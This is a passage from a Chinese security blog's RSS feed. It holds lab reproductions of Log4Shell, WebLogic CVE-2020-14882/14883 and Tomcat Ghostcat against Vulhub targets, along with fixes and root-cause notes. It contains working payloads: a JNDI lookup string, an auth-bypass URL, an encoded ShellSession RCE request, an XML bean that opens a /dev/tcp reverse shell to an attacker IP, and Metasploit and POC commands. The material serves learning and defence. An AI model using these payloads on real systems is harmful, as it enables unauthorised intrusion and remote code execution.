&lt;p&gt;&lt;strong&gt;无过滤解析 &lt;code&gt;${jndi:...}&lt;/code&gt; 表达式&lt;/strong&gt;：Log4j2 不仅会解析普通变量（如 &lt;code&gt;${ip}&lt;/code&gt;），还会解析 &lt;code&gt;${jndi:xxx}&lt;/code&gt; 这种 JNDI 表达式，只要日志中出现这个语法，Log4j2 就会自动调用 JNDI 接口执行 &lt;code&gt;lookup&lt;/code&gt; 操作。攻击者在请求中传入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;${jndi:ldap://192.168.31.152:1389/恶意类}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;只要这个字符串被写入 Log4j2 日志，就会触发 JNDI 解析。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;允许远程加载类&lt;/strong&gt;：JDK 8u191 之前的版本默认允许通过 JNDI 从远程 URL 加载类（&lt;code&gt;trustURLCodebase=true&lt;/code&gt;）。当 JNDI 访问 LDAP/RMI 服务器时，不仅能加载数据，还能加载远程服务器上的恶意 Java 类并直接执行类中的代码。本靶机的 JDK 8u102 属于这一范围；更高版本 JDK 需要借助本地工厂类绕过。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;输入可控性&lt;/strong&gt;：攻击者可以通过任意能被 Log4j2 记录的输入（URL 参数、HTTP 请求头、表单数据等）传入 &lt;code&gt;${jndi:...}&lt;/code&gt; 表达式。比如 &lt;code&gt;User-Agent&lt;/code&gt;、&lt;code&gt;X-Forwarded-For&lt;/code&gt; 请求头、&lt;code&gt;q&lt;/code&gt; 参数等，只要被写入日志，就会触发漏洞。&lt;/p&gt;
&lt;h2&gt;修复方案&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;升级 Log4j2 至 &lt;strong&gt;2.15.0&lt;/strong&gt; 或更高版本（移除了 JNDI 远程类加载）；&lt;/li&gt;
&lt;li&gt;无法立即升级时，在 Log4j2 配置中设置 &lt;code&gt;log4j2.formatMsgNoLookups=true&lt;/code&gt; 关闭消息查找（2.10+ 支持）；&lt;/li&gt;
&lt;li&gt;JDK 8u191+ 已默认关闭 &lt;code&gt;trustURLCodebase&lt;/code&gt;，可缓解但无法阻止基于本地工厂类的绕过，升级 Log4j2 是唯一彻底方案。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Apache Log4j2 官方公告：https://logging.apache.org/log4j/2.x/security.html&lt;/li&gt;
&lt;li&gt;NVD：https://nvd.nist.gov/vuln/detail/CVE-2021-44228&lt;/li&gt;
&lt;li&gt;LunaSec 分析：https://www.lunasec.com/docs/blog/log4j-zero-day/&lt;/li&gt;
&lt;li&gt;JNDI-Injection-Exploit（本文所用工具）：https://github.com/welk1n/JNDI-Injection-Exploit&lt;/li&gt;
&lt;li&gt;Vulhub 靶场：https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2021-44228&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>WebLogic 未授权 RCE（CVE-2020-14882 &amp; CVE-2020-14883）复现</title><link>https://blog.mal-suen.cn/posts/2021/01/85/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2021/01/85/</guid><description>CVE-2020-14882 利用二次 URL 编码的路径遍历绕过管理控制台权限检查，实现未授权访问；CVE-2020-14883 在控制台的处理句柄参数中注入 OGNL 表达式触发代码执行。两者组合即可从未授权直达任意命令执行。CVSS 9.8 / 7.2，影响 WebLogic 10.3.6 至 14.1.1 全部版本线。本文基于 Vulhub 靶场复现三种利用方式。</description><pubDate>Thu, 14 Jan 2021 09:01:06 GMT</pubDate><content:encoded>&lt;p&gt;CVE-2020-14882 与 CVE-2020-14883 是 WebLogic 管理控制台的两个漏洞，组合利用可从未授权直达任意命令执行。CVE-2020-14882（CVSS 9.8）：控制台的静态资源（CSS/JS）无需认证即可访问，攻击者构造路径遍历加二次 URL 编码的 URL（&lt;code&gt;console/css/%252e%252e%252fconsole.portal&lt;/code&gt;），把静态资源访问请求伪装成控制台核心页面请求，绕过认证直接进入管理后台。CVE-2020-14883（CVSS 7.2）：控制台部分功能接受 &lt;code&gt;handle&lt;/code&gt; 参数指定处理类，攻击者在参数中注入 OGNL 表达式，WebLogic 解析执行该表达式实现任意命令执行。影响 WebLogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0 全部版本线。&lt;/p&gt;
&lt;p&gt;复现基于 Vulhub 的 weblogic/CVE-2020-14882 靶场（WebLogic 12.2.1.3），覆盖未授权访问验证与三种命令执行方式（ShellSession 类、FileSystemXmlApplicationContext 类、Metasploit 模块），文末附容器启动失败的排查记录。&lt;/p&gt;
&lt;h2&gt;漏洞基础信息&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;漏洞编号&lt;/th&gt;
&lt;th&gt;CVSS 评分&lt;/th&gt;
&lt;th&gt;影响版本&lt;/th&gt;
&lt;th&gt;漏洞类型&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2020-14882&lt;/td&gt;
&lt;td&gt;9.8&lt;/td&gt;
&lt;td&gt;WebLogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0&lt;/td&gt;
&lt;td&gt;权限绕过（路径遍历 + 身份验证绕过）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2020-14883&lt;/td&gt;
&lt;td&gt;7.2&lt;/td&gt;
&lt;td&gt;与 CVE-2020-14882 相同&lt;/td&gt;
&lt;td&gt;身份验证后远程代码执行（RCE）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;漏洞复现&lt;/h2&gt;
&lt;h3&gt;复现环境准备&lt;/h3&gt;
&lt;p&gt;使用 Vulhub 快速搭建漏洞环境：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 安装Docker和docker-compose
apt install docker.io docker-compose

# 将 Vulhub 项目克隆到本地
git clone https://github.com/vulhub/vulhub.git

# 拉取镜像并启动容器
cd vulhub/weblogic/CVE-2020-14882
docker-compose up -d

# 确认容器启动状态
docker ps

CONTAINER ID   IMAGE                  COMMAND             CREATED         STATUS         PORTS                                                                                  NAMES
57c9304d2c9b   vulhub/weblogic:12.2.1.3-2018   &quot;/u01/oracle/createA…&quot;   3 seconds ago   Up 3 seconds   0.0.0.0:7001-&amp;gt;7001/tcp, :::7001-&amp;gt;7001/tcp   cve-2020-14882-weblogic-1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注：如果启动容器后执行&lt;code&gt;docker ps&lt;/code&gt;发现容器并没有如预期启动，很有可能是 Docker 容器默认的文件描述符（nofile）上限过低，详情可参见附录。&lt;/p&gt;
&lt;p&gt;可正常访问控制台页面 &lt;code&gt;http://192.168.31.148:7001/console&lt;/code&gt; 说明启动成功：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./WebLogic-%E6%9C%AA%E6%8E%88%E6%9D%83-RCE%EF%BC%88CVE-2020-14882-&amp;amp;-CVE-2020-14883%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/console.png&quot; alt=&quot;WebLogic 控制台登录页&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;端口扫描与服务识别&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nmap -sS -Pn -T4 --top-ports 1000 --version-intensity 3 -sV --script &quot;default,vulners&quot; 192.168.31.148

# 扫描结果
PORT     STATE SERVICE VERSION
7001/tcp open  http    Oracle WebLogic admin httpd 12.2.1.3 (T3 enabled)
|_http-title: Error 404--Not Found
|_weblogic-t3-info: T3 protocol in use (WebLogic version: 12.2.1.3)
MAC Address: 00:0C:29:B3:23:74 (VMware)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;7001 端口正常开放，WebLogic 服务运行，版本为 12.2.1.3（该版本存在 CVE-2020-14882/14883 漏洞），T3 协议已启用。&lt;/p&gt;
&lt;h3&gt;验证 CVE-2020-14882 未授权访问&lt;/h3&gt;
&lt;p&gt;直接使用浏览器访问以下 URL，无需输入账号密码，直接进入 WebLogic 控制台主页：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://192.168.31.148:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&amp;amp;_pageLabel=AppDeploymentSummaryPage
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./WebLogic-%E6%9C%AA%E6%8E%88%E6%9D%83-RCE%EF%BC%88CVE-2020-14882-&amp;amp;-CVE-2020-14883%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/%E7%9B%B4%E6%8E%A5%E8%AE%BF%E9%97%AE.png&quot; alt=&quot;未授权直接进入控制台主页&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;利用 CVE-2020-14883 执行命令&lt;/h3&gt;
&lt;h4&gt;方法一：ShellSession 类&lt;/h4&gt;
&lt;p&gt;利用 &lt;code&gt;com.tangosol.coherence.mvel2.sh.ShellSession&lt;/code&gt; 类执行 &lt;code&gt;whoami&lt;/code&gt;/&lt;code&gt;id&lt;/code&gt; 等基础命令，验证 RCE 漏洞。该方法只能在 &lt;strong&gt;12.2.1.x&lt;/strong&gt; 及以上版本使用。使用 Burp Suite 发送请求：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1

Host: 192.168.31.148:7001

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Connection: keep-alive

Cookie: ADMINCONSOLESESSION=g8W5R3N85JwXsN-2PsQHvrB3shquvZV8gq3jw6HHadb2ay7Y5gM8!-210550995; JSESSIONID=node0qmnscecp1q6f1fba8a8bhtien0.node0

cmd: id	# 核心请求
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;响应中直接返回 &lt;code&gt;id&lt;/code&gt; 命令的执行结果：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./WebLogic-%E6%9C%AA%E6%8E%88%E6%9D%83-RCE%EF%BC%88CVE-2020-14882-&amp;amp;-CVE-2020-14883%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/burpsuite-id.png&quot; alt=&quot;Burp Suite 中 id 命令执行结果&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;方法二：FileSystemXmlApplicationContext 类&lt;/h4&gt;
&lt;p&gt;利用 &lt;code&gt;com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext&lt;/code&gt; 类加载远程 XML 配置。&lt;/p&gt;
&lt;p&gt;首先 &lt;code&gt;systemctl start apache2&lt;/code&gt; 启动 apache2，在 &lt;code&gt;/var/www/html&lt;/code&gt; 目录下构造一个 xml 文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;beans xmlns=&quot;http://www.springframework.org/schema/beans&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xsi:schemaLocation=&quot;http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd&quot;&amp;gt;
  &amp;lt;bean id=&quot;pb&quot; class=&quot;java.lang.ProcessBuilder&quot; init-method=&quot;start&quot;&amp;gt;
    &amp;lt;constructor-arg&amp;gt;
      &amp;lt;list&amp;gt;
        &amp;lt;value&amp;gt;/bin/bash&amp;lt;/value&amp;gt;
        &amp;lt;value&amp;gt;-c&amp;lt;/value&amp;gt;
        &amp;lt;value&amp;gt;&amp;lt;![CDATA[bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.31.152/4444 0&amp;gt;&amp;amp;1]]&amp;gt;&amp;lt;/value&amp;gt;
      &amp;lt;/list&amp;gt;
    &amp;lt;/constructor-arg&amp;gt;
  &amp;lt;/bean&amp;gt;
&amp;lt;/beans&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;攻击机使用 &lt;code&gt;nc -lvvp 4444&lt;/code&gt; 监听端口，访问如下网址：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://192.168.31.148:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&amp;amp;_pageLabel=&amp;amp;handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(&quot;http://192.168.31.152/rce.xml&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;nc 监听端收到反弹 Shell：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./WebLogic-%E6%9C%AA%E6%8E%88%E6%9D%83-RCE%EF%BC%88CVE-2020-14882-&amp;amp;-CVE-2020-14883%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/%E5%8F%8D%E5%BC%B9shell.png&quot; alt=&quot;nc 收到反弹 Shell&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;方法三：Metasploit 模块&lt;/h4&gt;
&lt;p&gt;使用 &lt;code&gt;metasploit&lt;/code&gt; 直接反弹 Shell，先查询可用模块：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 启动 MSF 交互控制台
msfconsole

msf &amp;gt; search CVE-2020-14882

Matching Modules
================

   #  Name                                          Disclosure Date  Rank       Check  Description
   -  ----                                          ---------------  ----       -----  -----------
    0  exploit/multi/http/weblogic_admin_handle_rce  2020-10-20       excellent  Yes    Oracle WebLogic Server Administration Console Handle RCE           
    1    \_ target: Unix Command                     .                .          .      .
    2    \_ target: Linux Dropper                    .                .          .      .
    3    \_ target: Windows Command                  .                .          .      .
    4    \_ target: Windows Dropper                  .                .          .      .
    5    \_ target: PowerShell Stager                .                .          .      .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;设置参数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msf &amp;gt; use 0
[*] Using configured payload windows/x64/meterpreter/reverse_https	# 此处默认payload不适用，需进行修改
msf exploit(multi/http/weblogic_admin_handle_rce) &amp;gt; set RHOST 192.168.31.148
RHOST =&amp;gt; 192.168.31.148
msf exploit(multi/http/weblogic_admin_handle_rce) &amp;gt; set LHOST 192.168.31.152
LHOST =&amp;gt; 192.168.31.152
msf exploit(multi/http/weblogic_admin_handle_rce) &amp;gt; set LPORT 4444
LPORT =&amp;gt; 4444
msf exploit(multi/http/weblogic_admin_handle_rce) &amp;gt; set PAYLOAD linux/x64/meterpreter_reverse_https
PAYLOAD =&amp;gt; linux/x64/meterpreter_reverse_https
msf exploit(multi/http/weblogic_admin_handle_rce) &amp;gt; set TARGET 1
TARGET =&amp;gt; 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 &lt;code&gt;options&lt;/code&gt; 查看需要填写的参数，&lt;code&gt;yes&lt;/code&gt; 为必填项，&lt;code&gt;TARGETURI&lt;/code&gt; 可使用默认值，其余按需修改。执行攻击：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msf exploit(multi/http/weblogic_admin_handle_rce) &amp;gt; run
[*] Started HTTPS reverse handler on https://192.168.31.152:4444
[*] Running automatic check (&quot;set AutoCheck false&quot; to disable)
[*] https://192.168.31.152:4444 handling request from 192.168.31.148; (UUID: islcdvyp) Attaching orphaned/stageless session...
[+] The target is vulnerable. Path traversal successful.
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_https
[*] Using URL: http://192.168.31.152:8080/bAY7yb
[*] Client 192.168.31.148 (curl/7.29.0) requested /bAY7yb
[*] Sending payload to 192.168.31.148 (curl/7.29.0)

...

msf exploit(multi/http/weblogic_admin_handle_rce) &amp;gt; sessions -i 1
[*] Starting interaction with 1...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;连接成功后不能直接执行 Linux 命令，需要使用 &lt;code&gt;shell&lt;/code&gt; 切换到系统原生 Shell。此时是功能受限的非交互式 Shell，使用 &lt;code&gt;python -c &quot;import pty;pty.spawn(&apos;/bin/bash&apos;)&quot;&lt;/code&gt; 升级为全交互式终端：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;meterpreter &amp;gt; shell
Process 688 created.
Channel 1 created.

python -c &quot;import pty;pty.spawn (&apos;/bin/bash&apos;)&quot;	# 升级全交互式终端
[oracle@57c9304d2c9b base_domain]$ id
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;反弹 Shell 的用户为 &lt;code&gt;oracle&lt;/code&gt;，即 WebLogic 进程的运行身份。&lt;/p&gt;
&lt;h2&gt;漏洞核心原理&lt;/h2&gt;
&lt;h3&gt;CVE-2020-14882（未授权访问漏洞）&lt;/h3&gt;
&lt;p&gt;WebLogic 管理控制台（Console）的访问控制逻辑存在缺陷：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;控制台的静态资源（如 CSS/JS）无需认证即可访问；&lt;/li&gt;
&lt;li&gt;攻击者可构造&lt;strong&gt;路径遍历 + 编码绕过&lt;/strong&gt;的 URL（如 &lt;code&gt;console/css/%252e%252e%252fconsole.portal&lt;/code&gt;），将静态资源访问请求伪装成控制台核心页面请求，绕过认证直接进入后台管理界面。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;CVE-2020-14883（OGNL 注入 RCE 漏洞）&lt;/h3&gt;
&lt;p&gt;WebLogic 控制台的 &lt;code&gt;Diagnostic Framework&lt;/code&gt; 等功能模块存在 &lt;strong&gt;OGNL 表达式注入漏洞&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;OGNL（Object-Graph Navigation Language）是 WebLogic 底层使用的表达式语言，支持动态执行代码；&lt;/li&gt;
&lt;li&gt;未授权用户通过 14882 绕过认证后，可在控制台的特定参数中注入恶意 OGNL 表达式，WebLogic 解析执行该表达式，实现任意命令执行。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;修复方案&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;升级 WebLogic 至 2020 年 10 月安全更新（CPU）版本，两个漏洞一并修复；&lt;/li&gt;
&lt;li&gt;临时缓解：限制管理控制台（/console）仅限内网可信 IP 访问，或通过前置代理关闭对 &lt;code&gt;/console/css/&lt;/code&gt; 路径的访问。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Oracle 安全公告：https://www.oracle.com/security-alerts/cpuoct2020.html&lt;/li&gt;
&lt;li&gt;NVD（CVE-2020-14882）：https://nvd.nist.gov/vuln/detail/CVE-2020-14882&lt;/li&gt;
&lt;li&gt;NVD（CVE-2020-14883）：https://nvd.nist.gov/vuln/detail/CVE-2020-14883&lt;/li&gt;
&lt;li&gt;Vulhub 靶场：https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2020-14882&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;附录：容器启动失败解决方案&lt;/h2&gt;
&lt;h3&gt;定位原因&lt;/h3&gt;
&lt;p&gt;执行&lt;code&gt;docker-compose up -d&lt;/code&gt;后发现容器并没有按照预期正常启动，&lt;code&gt;docker-compose logs&lt;/code&gt;查看日志：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;weblogic-1  | 
weblogic-1  |     Oracle WebLogic Server Auto Generated Empty Domain:
weblogic-1  | 
weblogic-1  |       ----&amp;gt; &apos;weblogic&apos; admin password: d7EzZmBp
weblogic-1  | 
weblogic-1  | Initializing WebLogic Scripting Tool (WLST) ...
weblogic-1  | 
weblogic-1  | library initialization failed - unable to allocate file descriptor table - out of memory/u01/oracle/oracle_common/common/bin/wlst_internal.sh: line 18:    72 Aborted                 (core dumped) &quot;${JAVA_HOME}/bin/java&quot; ...
weblogic-1  | /u01/oracle/createAndStartEmptyDomain.sh: line 64: /u01/oracle/user_projects/domains/base_domain/bin/setDomainEnv.sh: No such file or directory	
weblogic-1  | /u01/oracle/createAndStartEmptyDomain.sh: line 69: /u01/oracle/user_projects/domains/base_domain/startWebLogic.sh: No such file or directory
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;经过验证，错误提示中的 &lt;code&gt;out of memory&lt;/code&gt; 是&lt;strong&gt;内核的误导性表述&lt;/strong&gt;，并非物理内存不足（2G 内存的虚拟机也能正常启动）。&lt;/p&gt;
&lt;p&gt;真实原因是 Docker 容器默认的 &lt;code&gt;nofile&lt;/code&gt;（最大可打开文件描述符数）上限仅为 1024，而 WLST 初始化时需要加载大量配置文件、类库、网络连接，需创建远超 1024 的文件句柄，内核无法分配足够的文件描述符表，最终导致 WLST 进程崩溃（&lt;code&gt;Aborted (core dumped)&lt;/code&gt;）。这个报错的本质是文件描述符资源耗尽，而非内存不足。&lt;/p&gt;
&lt;h3&gt;修复问题&lt;/h3&gt;
&lt;p&gt;修改 &lt;code&gt;vulhub/weblogic/CVE-2020-14882/docker-compose.yml&lt;/code&gt; 为以下完整配置：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;services:
 weblogic:
   image: vulhub/weblogic:12.2.1.3-2018
   ports:
    - &quot;7001:7001&quot;
   ulimits:
     nofile:
       soft: 65535
       hard: 65535
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意缩进，缩进错误可能会导致报错：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;yaml: line 5: did not find expected &apos;-&apos; indicator
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Docker 全局永久修改方案：编辑 Docker 的 daemon 配置文件 &lt;code&gt;/etc/docker/daemon.json&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;default-ulimits&quot;: {
    &quot;nofile&quot;: {
      &quot;Name&quot;: &quot;nofile&quot;,
      &quot;Hard&quot;: 65535,
      &quot;Soft&quot;: 65535
    }
  },
  &quot;registry-mirrors&quot;: [&quot;镜像地址&quot;]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重启 Docker 服务让配置生效：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl daemon-reload
systemctl restart docker
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Apache Tomcat AJP 文件包含漏洞（CVE-2020-1938 幽灵猫）复现</title><link>https://blog.mal-suen.cn/posts/2020/08/75/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2020/08/75/</guid><description>Tomcat 默认开启的 AJP 协议连接器未对请求属性做来源校验，攻击者可通过 AJP 端口构造包含属性，读取 Web 应用目录下的任意文件，配合文件上传可实现远程代码执行。CVSS 9.8，影响 Tomcat 6.x、7.x &lt; 7.0.100、8.x &lt; 8.5.51、9.x &lt; 9.0.31。本文基于 Vulhub 靶场复现文件读取并分析 AJP 协议缺陷。</description><pubDate>Mon, 24 Aug 2020 02:47:01 GMT</pubDate><content:encoded>&lt;p&gt;CVE-2020-1938（幽灵猫 / Ghostcat）是 Tomcat AJP 协议的文件包含漏洞，CVSS 9.8。AJP（Apache JServ Protocol）是 Tomcat 与前置 Web 服务器（如 Apache HTTPD）之间的高效二进制协议，默认监听 8009 端口且无认证。AJP 连接器在转发请求时未校验 &lt;code&gt;javax.servlet.include.*&lt;/code&gt; 系列属性的来源，攻击者直接向 AJP 端口发送构造的请求，即可指定包含路径，读取 Web 应用目录（&lt;code&gt;webapps/ROOT/&lt;/code&gt;）下的任意文件（如 &lt;code&gt;WEB-INF/web.xml&lt;/code&gt;、源码）；若目标存在文件上传功能，可进一步包含上传的 JSP 文件实现远程代码执行。&lt;/p&gt;
&lt;p&gt;复现基于 Vulhub 的 tomcat/CVE-2020-1938 靶场（Tomcat 9.0.30），使用 nmap AJP 脚本探测、Python POC 读取文件、Metasploit 模块验证三种方式复现，文末附容器启动失败的排查记录。&lt;/p&gt;
&lt;h2&gt;漏洞基础信息&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;漏洞编号&lt;/th&gt;
&lt;th&gt;CVSS 评分&lt;/th&gt;
&lt;th&gt;影响版本&lt;/th&gt;
&lt;th&gt;漏洞类型&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2020-1938&lt;/td&gt;
&lt;td&gt;9.8&lt;/td&gt;
&lt;td&gt;Tomcat 6.x、7.x（&amp;lt; 7.0.100）、8.x（&amp;lt; 8.5.51）、9.x（&amp;lt; 9.0.31）&lt;/td&gt;
&lt;td&gt;文件包含（任意文件读取 / RCE）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;漏洞复现&lt;/h2&gt;
&lt;h3&gt;复现环境准备&lt;/h3&gt;
&lt;p&gt;使用 Vulhub 快速搭建漏洞环境：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 安装Docker和docker-compose
apt install docker.io docker-compose

# 将 Vulhub 项目克隆到本地
git clone https://github.com/vulhub/vulhub.git

# 拉取镜像并启动容器
cd vulhub/tomcat/CVE-2020-1938 
docker-compose up -d

# 确认容器启动状态
docker ps

CONTAINER ID   IMAGE                  COMMAND             CREATED         STATUS         PORTS                                                                                  NAMES
26a632f74c40   vulhub/tomcat:9.0.30   &quot;catalina.sh run&quot;   3 minutes ago   Up 3 minutes   0.0.0.0:8009-&amp;gt;8009/tcp, :::8009-&amp;gt;8009/tcp, 0.0.0.0:8080-&amp;gt;8080/tcp, :::8080-&amp;gt;8080/tcp   cve-2020-1938-tomcat-1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注：如果启动容器后执行&lt;code&gt;docker ps&lt;/code&gt;发现容器并没有如预期启动，很有可能是容器/宿主机内存不足、文件描述符限制过低导致 JVM 崩溃，解决方案见附录。&lt;/p&gt;
&lt;p&gt;访问 &lt;code&gt;http://192.168.31.148:8080&lt;/code&gt; 确认容器正常启动。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Apache-Tomcat-AJP-%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2020-1938-%E5%B9%BD%E7%81%B5%E7%8C%AB%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/tomcat.png&quot; alt=&quot;Tomcat 默认页面&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;端口扫描与服务识别&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 使用 Nmap 官方 AJP 漏洞扫描脚本
nmap --script ajp-methods,ajp-brute,ajp-request -p 8009 192.168.31.148

# 扫描结果
PORT     STATE SERVICE
8009/tcp open  ajp13
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
| ajp-request: 
| AJP/1.3 200 200
...
| ajp-brute: 
|_  URL does not require authentication
MAC Address: 00:0C:29:B3:23:74 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.71 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;ajp-brute: URL does not require authentication&lt;/code&gt;：AJP 服务无需认证即可访问。CVE-2020-1938 的核心成因就是 Tomcat 的 AJP 协议默认开启且无认证，攻击者可通过 AJP 协议读取 Web 应用目录下的任意文件或包含恶意文件。&lt;/p&gt;
&lt;h3&gt;使用 POC 脚本读取文件&lt;/h3&gt;
&lt;p&gt;Vulhub 自带了 POC，基于 &lt;code&gt;CNVD-2020-10487-Tomcat-Ajp-lfi&lt;/code&gt; 改进而来。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git
cd CNVD-2020-10487-Tomcat-Ajp-lfi
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f/WEB-INF/web.xml 192.168.31.148
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意使用的是 &lt;strong&gt;python2&lt;/strong&gt; 而不是 python3，若使用 python3 则需将脚本中的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;self.stream = self.socket.makefile(&quot;rb&quot;, bufsize=0)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;self.stream = self.socket.makefile(&quot;rb&quot;, buffering=0)
&lt;/code&gt;&lt;/pre&gt;
